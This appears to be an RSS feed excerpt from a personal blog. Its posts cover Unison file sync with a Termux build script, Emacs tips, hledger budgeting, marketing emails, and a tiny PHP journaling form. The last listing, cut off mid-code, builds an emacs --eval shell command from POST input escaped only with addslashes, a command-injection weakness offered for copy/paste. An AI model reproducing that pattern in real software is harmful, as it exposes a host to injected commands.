&lt;h2 id="how-the-migration-went">How the migration went&lt;/h2>
&lt;p>It went smoothly (except one thing). Every operating system I have, including relatively rare ones like NetBSD, has the Unison package in their repo.&lt;/p>
&lt;p>I chose to use &lt;a href="https://en.wikipedia.org/wiki/Spoke%E2%80%93hub_distribution_paradigm">hub-and-spoke&lt;/a> architecture where I have everything synced into a bucket (Hub) which is a NAS I have at home and every other machine just
syncs everything to and from it.&lt;/p>
&lt;p>I have an Ansible playbook to configure my NAS so I just extended it with &amp;ldquo;Install Unison&amp;rdquo; task and that&amp;rsquo;s it. I also added a few profiles to sync different things.&lt;/p>
&lt;h3 id="unison-profile">Unison Profile&lt;/h3>
&lt;p>A profile is just a configuration file that you can call &lt;strong>anything.prf&lt;/strong> and put in your &lt;code>~/.unison&lt;/code> folder on the client.&lt;/p>
&lt;p>In this file you can define your local folder, your remote folder you want to sync to/from (a folder on the Hub machine in my case) and add a few configuration options
to tell Unison how to handle permissions, what files to sync or not to sync, etc.&lt;/p>
&lt;p>Looks like this:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-php" data-lang="php">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#a6e22e">root&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#e6db74">&amp;#34;/local/folder&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#a6e22e">root&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#e6db74">&amp;#34;ssh://remote-user@the-hub.local//home/remote-user/unison-sync&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#a6e22e">batch&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#66d9ef">true&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#a6e22e">fastcheck&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#66d9ef">true&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#a6e22e">times&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#66d9ef">true&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#a6e22e">owner&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#66d9ef">false&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#a6e22e">group&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#66d9ef">false&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#a6e22e">perms&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#ae81ff">0&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Now you can just call &lt;strong>unison anything&lt;/strong> (&amp;ldquo;anything&amp;rdquo; is the profile name) and it will sync both roots defined in the profile.&lt;/p>
&lt;h3 id="simplicity">Simplicity&lt;/h3>
&lt;p>As you probably noticed it all works via SSH. There are other options but all my devices have SSH access anyway.
This simplifies my mental model a lot. I just control the access as usual
using SSH keys which I already do and Unison doesn&amp;rsquo;t add a new layer of access control complexity.&lt;/p>
&lt;h2 id="android-difficulties-the-one-thing">Android difficulties (the one thing)&lt;/h2>
&lt;p>The migration to Unison was a bit tricky on my Android phone. I didn&amp;rsquo;t even realise it would be an issue until I migrated all my machines and then opened my phone&amp;rsquo;s Termux and typed:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>pkg install unison
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>&amp;hellip; and nothing happened. &lt;strong>There is no Unison in Termux repos&lt;/strong>.&lt;/p>
&lt;p>Following &lt;a href="https://github.com/termux/termux-packages/issues/129">this thread&lt;/a> I was able to compile this script to get OCaml and Unison source code and compile them both:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># These are probably already set in Termux but I&amp;#39;ll set them just in case.&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>export PREFIX&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#e6db74">&amp;#39;/data/data/com.termux/files/usr&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>export HOME&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#e6db74">&amp;#39;/data/data/com.termux/files/home&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>export TMPDIR&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#e6db74">&amp;#34;&lt;/span>$HOME&lt;span style="color:#e6db74">/tmp&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>mkdir -p $TMPDIR &lt;span style="color:#75715e"># download and compile stuff in this folder&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># Build OCaml first&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>OCAML_VERSION&lt;span style="color:#f92672">=&lt;/span>5.3.0
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>curl -L https://github.com/ocaml/ocaml/releases/download/&lt;span style="color:#e6db74">${&lt;/span>OCAML_VERSION&lt;span style="color:#e6db74">}&lt;/span>/ocaml-&lt;span style="color:#e6db74">${&lt;/span>OCAML_VERSION&lt;span style="color:#e6db74">}&lt;/span>.tar.gz -o &lt;span style="color:#e6db74">&amp;#34;&lt;/span>$TMPDIR&lt;span style="color:#e6db74">/ocaml.tar.gz&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>tar xzf &lt;span style="color:#e6db74">&amp;#34;&lt;/span>$TMPDIR&lt;span style="color:#e6db74">/ocaml.tar.gz&amp;#34;&lt;/span> -C &lt;span style="color:#e6db74">&amp;#34;&lt;/span>$TMPDIR&lt;span style="color:#e6db74">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>cd &lt;span style="color:#e6db74">&amp;#34;&lt;/span>$TMPDIR&lt;span style="color:#e6db74">/ocaml-&lt;/span>&lt;span style="color:#e6db74">${&lt;/span>OCAML_VERSION&lt;span style="color:#e6db74">}&lt;/span>&lt;span style="color:#e6db74">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># Seems like we need -Wno-error=implicit-function-declaration during the configuration process&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># otherwise it won&amp;#39;t compile.&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>sh ./configure --prefix&lt;span style="color:#f92672">=&lt;/span>$PREFIX --disable-warn-error --without-afl LDFLAGS&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#e6db74">&amp;#34;-landroid-shmem&amp;#34;&lt;/span> CFLAGS&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#e6db74">&amp;#34;-Wno-error=implicit-function-declaration&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># Same -Wno-error=implicit-function-declaration during the compilation process&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>make world CFLAGS&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#e6db74">&amp;#34;-Wno-error=implicit-function-declaration&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>make install
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># Build Unison second&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>UNISON_VERSION&lt;span style="color:#f92672">=&lt;/span>2.53.7
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>curl -L https://github.com/bcpierce00/unison/archive/v&lt;span style="color:#e6db74">${&lt;/span>UNISON_VERSION&lt;span style="color:#e6db74">}&lt;/span>.tar.gz -o &lt;span style="color:#e6db74">&amp;#34;&lt;/span>$TMPDIR&lt;span style="color:#e6db74">/unison.tar.gz&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>tar xzf &lt;span style="color:#e6db74">&amp;#34;&lt;/span>$TMPDIR&lt;span style="color:#e6db74">/unison.tar.gz&amp;#34;&lt;/span> -C &lt;span style="color:#e6db74">&amp;#34;&lt;/span>$TMPDIR&lt;span style="color:#e6db74">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>cd &lt;span style="color:#e6db74">&amp;#34;&lt;/span>$TMPDIR&lt;span style="color:#e6db74">/unison-&lt;/span>&lt;span style="color:#e6db74">${&lt;/span>UNISON_VERSION&lt;span style="color:#e6db74">}&lt;/span>&lt;span style="color:#e6db74">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># Not sure if -Wno-error=implicit-function-declaration needed here but&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># I&amp;#39;m gonna add it just in case&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>make NATIVE&lt;span style="color:#f92672">=&lt;/span>false CFLAGS&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#e6db74">&amp;#34;-Wno-error=implicit-function-declaration&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>make NATIVE&lt;span style="color:#f92672">=&lt;/span>false install
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># I don&amp;#39;t want to keep source of both things I just compiled&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>rm -rf $TMPDIR
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>This worked. So now I have Unison on Android as well.&lt;/p>
&lt;p>Hopefully OCaml and Unison packages will both be available in Termux soon.&lt;/p>
&lt;h2 id="usability">Usability&lt;/h2>
&lt;p>Syncthing is very seamless usability wise. With Unison I have to manually trigger the sync process.
I now have a couple of &lt;a href="https://github.com/termux/termux-widget">Termux Widgets&lt;/a> that sync my phone with the Hub.&lt;/p>
&lt;p>There is a way to configure &lt;strong>watch&lt;/strong> mechanism for Unison which I&amp;rsquo;ll probably do later. I haven&amp;rsquo;t decided yet if I want it or not.
Somehow I find the fact that synchronisation magic happens only on my request very satisfying.&lt;/p>
&lt;h2 id="summary">Summary&lt;/h2>
&lt;p>So far I&amp;rsquo;m pretty happy with it.&lt;/p>
&lt;p>My Hub is available everywhere thanks to Tailscale so I can sync things any time anywhere.&lt;/p>
&lt;p>Termux Widgets are pretty nice too. I had to change my workflow a bit but it&amp;rsquo;s ok.&lt;/p>
&lt;p>I was very close to rolling my own set of bash scripts to sync my files but I&amp;rsquo;m very happy I found about Unison.&lt;/p>
&lt;p>Another positive side effect that I&amp;rsquo;ve noticed so far is that my Android phone&amp;rsquo;s battery is holding the charge so much better. Usually by 3PM it is below 50% but right now it&amp;rsquo;s 75%.&lt;/p></description></item><item><title>Emacs: find-file-at-point trick</title><link>https://codelearn.me/2025/11/05/find-file-at-point-trick.html</link><pubDate>Wed, 05 Nov 2025 16:29:36 +1100</pubDate><guid>https://codelearn.me/2025/11/05/find-file-at-point-trick.html</guid><description>&lt;h2 id="the-story">The story&lt;/h2>
&lt;p>Sometimes I hover over a file path in my terminal emulator (in Emacs of course) and type&lt;br>
&lt;code>M-x find-file-at-point&lt;/code>.
It&amp;rsquo;s nice command and it works reliably.&lt;/p>
&lt;p>I don&amp;rsquo;t want to type it though. I want Emacs to detect a file path at point.&lt;/p>
&lt;p>And there is a &lt;a href="https://www.gnu.org/software/emacs/manual/html_node/emacs/FFAP.html">built in package&lt;/a> for this.
Just add this line to your &lt;code>init.el&lt;/code> and it should work.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-lisp" data-lang="lisp">&lt;span style="display:flex;">&lt;span>(ffap-bindings)
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>This makes &lt;strong>C-x C-f&lt;/strong> keybinding to automatically detect a file path at point. Cool!&lt;/p>
&lt;h2 id="the-twist">The twist&lt;/h2>
&lt;p>Unfortunately it was so much worse than what I&amp;rsquo;ve expected.&lt;/p>
&lt;p>It does detect file path at point so reliably and so often (there are lots of file paths in my terminal output usually)&lt;br>
that almost 80% of time when I press &lt;strong>C-x C-f&lt;/strong> my minibuffer is already pre-filled with the path my cursor happened to be on,
which I didn&amp;rsquo;t need. I wanted it to be clean so I could type a file path there by myself.&lt;/p>
&lt;p>I noticed that using ffap package adds a bit of cognitive overload for my workflow. I have to always think about where my cursor is before I press &lt;strong>C-x C-f&lt;/strong>.&lt;/p>
&lt;p>I decicded to write my own function that should check for &lt;code>current-prefix-arg&lt;/code> and call &lt;code>find-file&lt;/code> or &lt;code>find-file-at-point&lt;/code> accordingly
but just before that I decided to read some docs.&lt;/p>
&lt;h2 id="rtfm">RTFM&lt;/h2>
&lt;p>Something that I don&amp;rsquo;t think I&amp;rsquo;ve ever done is &lt;strong>C-h f find-file&lt;/strong>.&lt;/p>
&lt;p>I learned this keybinding early on in my Emacs journey and never needed to read a documentation for it.&lt;/p>
&lt;p>But if I read it, it says something about &lt;strong>M-n&lt;/strong> keybinding that uses functions defined in &lt;code>file-name-at-point-functions&lt;/code> variable.
One of them, by default, is &lt;code>ffap-guess-file-name-at-point&lt;/code>.&lt;/p>
&lt;p>So having my cursor at a file path, I can type &lt;strong>C-x C-f&lt;/strong> get my regular &lt;code>find-file&lt;/code> behavior and then I can just press &lt;strong>M-n&lt;/strong> and the minibuffer will be pre-filled with the file path at point.&lt;br>
&lt;small>&lt;em>^here is how small this blog post could be lol&lt;/em>&lt;/small>&lt;/p>
&lt;p>Perfection.&lt;/p></description></item><item><title>Useful Hledger</title><link>https://codelearn.me/2025/09/30/useful-hledger.html</link><pubDate>Tue, 30 Sep 2025 08:08:16 +1000</pubDate><guid>https://codelearn.me/2025/09/30/useful-hledger.html</guid><description>&lt;p>I&amp;rsquo;ve been using &lt;a href="https://hledger.org/">hledger&lt;/a> since 2022. I started it as an experiment hoping to understand where my money goes, find some patterns in my spending
and save some money eventually. I did not identify many patterns, if any, but I still was able to save some money.&lt;/p>
&lt;p>I&amp;rsquo;m going to describe how and why I find tracking money being useful and then I&amp;rsquo;ll show you my setup.&lt;/p>
&lt;h2 id="why-is-it-useful-to-track-finances">Why is it useful to track finances&lt;/h2>
&lt;p>It seems like, at least in my case, I was able to reduce money spend just by tracking where they go.
I blame my subconscious for this. For example I probably noticed that I spend too much on food delivery services and then I started to cook at home more often.&lt;/p>
&lt;p>I don&amp;rsquo;t remember any cases during almost 4 years when I found a spending pattern that was an obvious issue. Never happened. Some things happened though:&lt;/p>
&lt;ul>
&lt;li>I found some cases when I paid too much fees for a service I used regularly, which then led me to find a replacement for it.&lt;/li>
&lt;li>Found that I pay for telecommunications (internet, phone) too much considering my usage. It led me to close some internet accounts and change my phone package.&lt;/li>
&lt;li>I paid too much for the apartment I rented. I didn&amp;rsquo;t need hledger to figure this out, but doing summary report one day, I noticed the money I spent on it in 6 months were uncomfortably large even though monthly payment was acceptable by me.&lt;/li>
&lt;li>I&amp;rsquo;ve noticed coffee prices went up :D&lt;/li>
&lt;/ul>
&lt;h2 id="how-i-track-it">How I track it&lt;/h2>
&lt;p>I use my phone and laptop with Emacs. Files are synced using &lt;a href="https://syncthing.net/">syncthing&lt;/a>. The whole process is half automated.&lt;/p>
&lt;p>On my phone I use Termux and &lt;a href="https://wiki.termux.com/wiki/Termux:API">Termux:API&lt;/a> package. It allows me to get list of all notifications that
I can then parse into hledger records.&lt;/p>
&lt;p>&lt;a href="https://gist.github.com/krydos/62a7c5de05a74606e2c56a3a6e321523">I have a script&lt;/a> (call &lt;code>ledger-check&lt;/code> to execute it) that parses all notifications and if a bank notifications found, saves them into the &lt;code>ledger.journal&lt;/code> file (which is a hledger file for current year).
It runs every minute on my phone in Termux session so notifications aren&amp;rsquo;t usually lost.&lt;/p>
&lt;p>The script makes &lt;code>sha256&lt;/code> hash from each record and adds it to the hledger file as well so next time the script is ran the records not duplicated.&lt;/p>
&lt;p>Each record looks similar to this:&lt;/p>
&lt;pre>
;; automation:bf4e2493fc27a6d17bd173ea9c70620759766f29
;; datetime: 2025-09-25 17:32:42
;; content: Paid $20.65 at Place Name Here AUD Balance: $100.41
2025-09-25 eating out
 expenses:food:eat-out 20.65 AUD
 assets:banks:bankname1
&lt;/pre>
&lt;br/>
&lt;p>In this case the title and expense category were recognised automatically because I have this place mentioned in my templates list (see the script).
Otherwise it would mark it as &lt;code>expenses:unknown&lt;/code> which means I then should go and manually update records on my laptop. This is why I keep &lt;code>content:&lt;/code> to each
record which is full content of push notification received from a bank app. It helps me to deal with &amp;ldquo;unknown&amp;rdquo; records later.&lt;/p>
&lt;p>&lt;strong>Every week on Sunday&lt;/strong> I then review my spendings and check if amount of money in my bank account matches with what hledger report tells me.
I manually adjust my ledger records if there is a mismatch (using special expense category for this).&lt;/p>
&lt;p>Thanks to Emacs and &lt;a href="https://github.com/ledger/ledger-mode">ledger-mode&lt;/a> I can just simply run &lt;code>M-x ledger-report&lt;/code> and choose among many pre-existing reports.
I also made a few of my own.&lt;/p>
&lt;h2 id="final-thoughts">Final Thoughts&lt;/h2>
&lt;p>I&amp;rsquo;ve noticed that parsing bank notifications is easier than looking for ways to integrate with a bank or special bank reports that are often available for download.&lt;/p>
&lt;p>Keeping all the records in simple text file has been very useful and makes me feel safe. I believe simple txt format will never go away.
If &lt;a href="https://hledger.org/">hledger&lt;/a> disappears I can easily replace it with &lt;a href="https://ledger-cli.org/">ledger&lt;/a> or &lt;a href="https://github.com/beancount/beancount">beancount&lt;/a>.
Even with my own scripts if necessary.&lt;/p>
&lt;p>I sometimes read that people use a tool for a week or a month and able to tell how useful it is.
I wish I have similar skill.
I think test driving this tool for 4 years proves its usefulness for me.&lt;/p></description></item><item><title>I have never subscribed to receive any marketing emails</title><link>https://codelearn.me/2025/08/04/marketing-emails.html</link><pubDate>Mon, 04 Aug 2025 17:35:13 +1000</pubDate><guid>https://codelearn.me/2025/08/04/marketing-emails.html</guid><description>&lt;p>It feels strange that I always receive a lot of marketing emails despite the fact that I never subscribed to any.&lt;/p>
&lt;p>I even feel like I have control over it because of that tiny &amp;ldquo;Unsubscribe&amp;rdquo; link that is always available.&lt;br>
I locate it in less than a second, click it and bye bye little annoying email - you&amp;rsquo;re done. I can even detect the tricks from these unsubscribe tools
when they unsubscribe me and then show me the big green button saying &lt;strong>Confirm and &lt;em>subscribe&lt;/em> again&lt;/strong> which is supposed to trick me.&lt;br>
But I&amp;rsquo;m untrickable! Haha!&lt;/p>
&lt;p>I just did the same to &amp;ldquo;LA GRANDE ABBUFFATA PIZZA+PASTA PARTY&amp;rdquo; (whatever that is) email but now I feel tricked on another level.&lt;br>
I&amp;rsquo;m just part of this strange process where businesses:&lt;/p>
&lt;ul>
&lt;li>subscribe me to their marketing material&lt;/li>
&lt;li>&lt;a href="https://www.acma.gov.au/sites/default/files/2024-05/Fact%20sheet%20-%20email%20and%20SMS%20unsubscribe%20rules.pdf">government tells them to make sure people can unsubscribe&lt;/a>&lt;/li>
&lt;li>businesses comply&lt;/li>
&lt;li>I receive marketing emails&lt;/li>
&lt;li>I unsubscribe&lt;/li>
&lt;li>the circle repeats&lt;/li>
&lt;/ul>
&lt;p>Seems like everybody gets what they want here except me.&lt;/p>
&lt;p>How much value was produced in this circle? Probably some, right? Right?&lt;br>
Maybe somebody has a job and can support their family because of it. I really hope so.&lt;br>
I can slightly suffer for this reason.&lt;/p>
&lt;p>I do appreciate the trick&amp;hellip;&lt;/p></description></item><item><title>Emacs: Keep journaling on the go</title><link>https://codelearn.me/2025/07/27/simple-org.html</link><pubDate>Sun, 27 Jul 2025 16:35:19 +1000</pubDate><guid>https://codelearn.me/2025/07/27/simple-org.html</guid><description>&lt;p>I&amp;rsquo;ve been journaling a lot for many years. It cools down my brain a little and helps me reflect on things better.
Emacs and org-mode are of course the tools I use to journal.&lt;/p>
&lt;h2 id="the-problem">The problem&lt;/h2>
&lt;p>I can&amp;rsquo;t easily journal on the go when I only have my phone handy.&lt;/p>
&lt;h2 id="solution">Solution&lt;/h2>
&lt;p>I&amp;rsquo;ve built incredibly minimal web page with a simple form.
When the form is submitted it is captured by a script, parses the form data and calls my Emacs with &lt;code>--eval&lt;/code> to
add the form data into my &lt;code>journal.org&lt;/code> file.&lt;/p>
&lt;p>And when I say minimal I mean it. Just look at it.
&lt;img alt="simple-org screenshot" src="https://codelearn.me/assets/img/simple-org.png" width="100%"/>&lt;/p>
&lt;p>Here is its whole source code:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-php" data-lang="php">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">&amp;lt;&lt;/span>&lt;span style="color:#a6e22e">html&lt;/span>&lt;span style="color:#f92672">&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">&amp;lt;&lt;/span>&lt;span style="color:#a6e22e">head&lt;/span>&lt;span style="color:#f92672">&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">&amp;lt;&lt;/span>&lt;span style="color:#a6e22e">meta&lt;/span> &lt;span style="color:#a6e22e">name&lt;/span>&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#e6db74">&amp;#34;viewport&amp;#34;&lt;/span> &lt;span style="color:#a6e22e">content&lt;/span>&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#e6db74">&amp;#34;width=device-width, initial-scale=2.0, maximum-scale=4.0&amp;#34;&lt;/span>&lt;span style="color:#f92672">&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">&amp;lt;/&lt;/span>&lt;span style="color:#a6e22e">head&lt;/span>&lt;span style="color:#f92672">&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">&amp;lt;&lt;/span>&lt;span style="color:#a6e22e">body&lt;/span>&lt;span style="color:#f92672">&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">&amp;lt;&lt;/span>&lt;span style="color:#a6e22e">form&lt;/span> &lt;span style="color:#a6e22e">action&lt;/span>&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#e6db74">&amp;#34;&amp;#34;&lt;/span> &lt;span style="color:#a6e22e">method&lt;/span>&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#e6db74">&amp;#34;post&amp;#34;&lt;/span>&lt;span style="color:#f92672">&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">&amp;lt;&lt;/span>&lt;span style="color:#a6e22e">input&lt;/span> &lt;span style="color:#a6e22e">name&lt;/span>&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#e6db74">&amp;#34;title&amp;#34;&lt;/span> &lt;span style="color:#a6e22e">type&lt;/span>&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#e6db74">&amp;#34;text&amp;#34;&lt;/span>&lt;span style="color:#f92672">/&amp;gt;&amp;lt;&lt;/span>&lt;span style="color:#a6e22e">br&lt;/span>&lt;span style="color:#f92672">/&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">&amp;lt;&lt;/span>&lt;span style="color:#a6e22e">textarea&lt;/span> &lt;span style="color:#a6e22e">name&lt;/span>&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#e6db74">&amp;#34;content&amp;#34;&lt;/span>&lt;span style="color:#f92672">&amp;gt;&amp;lt;/&lt;/span>&lt;span style="color:#a6e22e">textarea&lt;/span>&lt;span style="color:#f92672">&amp;gt;&amp;lt;&lt;/span>&lt;span style="color:#a6e22e">br&lt;/span>&lt;span style="color:#f92672">/&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">&amp;lt;&lt;/span>&lt;span style="color:#a6e22e">button&lt;/span>&lt;span style="color:#f92672">&amp;gt;&lt;/span>&lt;span style="color:#a6e22e">submit&lt;/span>&lt;span style="color:#f92672">&amp;lt;/&lt;/span>&lt;span style="color:#a6e22e">button&lt;/span>&lt;span style="color:#f92672">&amp;gt;&amp;lt;&lt;/span>&lt;span style="color:#a6e22e">br&lt;/span>&lt;span style="color:#f92672">/&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">&amp;lt;/&lt;/span>&lt;span style="color:#a6e22e">form&lt;/span>&lt;span style="color:#f92672">&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">&amp;lt;/&lt;/span>&lt;span style="color:#a6e22e">body&lt;/span>&lt;span style="color:#f92672">&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">&amp;lt;/&lt;/span>&lt;span style="color:#a6e22e">html&lt;/span>&lt;span style="color:#f92672">&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">&amp;lt;?&lt;/span>&lt;span style="color:#a6e22e">php&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">if&lt;/span> ($_SERVER[&lt;span style="color:#e6db74">&amp;#39;REQUEST_METHOD&amp;#39;&lt;/span>] &lt;span style="color:#f92672">==&lt;/span> &lt;span style="color:#e6db74">&amp;#39;POST&amp;#39;&lt;/span>) {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> $title &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#a6e22e">addslashes&lt;/span>($_POST[&lt;span style="color:#e6db74">&amp;#39;title&amp;#39;&lt;/span>]);
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> $content &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#a6e22e">addslashes&lt;/span>($_POST[&lt;span style="color:#e6db74">&amp;#39;content&amp;#39;&lt;/span>]);
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e"># In actual file it&amp;#39;s a oneliner.
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">&lt;/span> &lt;span style="color:#75715e"># I split it for this post purposes.
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">&lt;/span> &lt;span style="color:#75715e"># Hope it still works in case you decide to copy/paste.
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">&lt;/span> $cmd &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#e6db74">&amp;#34;emacs --batch --load=&lt;/span>&lt;span style="color:#ae81ff">\&amp;#34;&lt;/span>&lt;span style="color:#e6db74">~/.emacs.d/init.el&lt;/span>&lt;span style="color:#ae81ff">\&amp;#34;&lt;/span>&lt;span style="color:#e6db74"> --eval &lt;/span>&lt;span style="color:#ae81ff">\&amp;#34;&lt;/span>&lt;span style="color:#e6db74">&amp;#34;&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> $cmd &lt;span style="color:#f92672">.=&lt;/span> &lt;span style="color:#e6db74">&amp;#34;(progn &amp;#34;&lt;/span>;
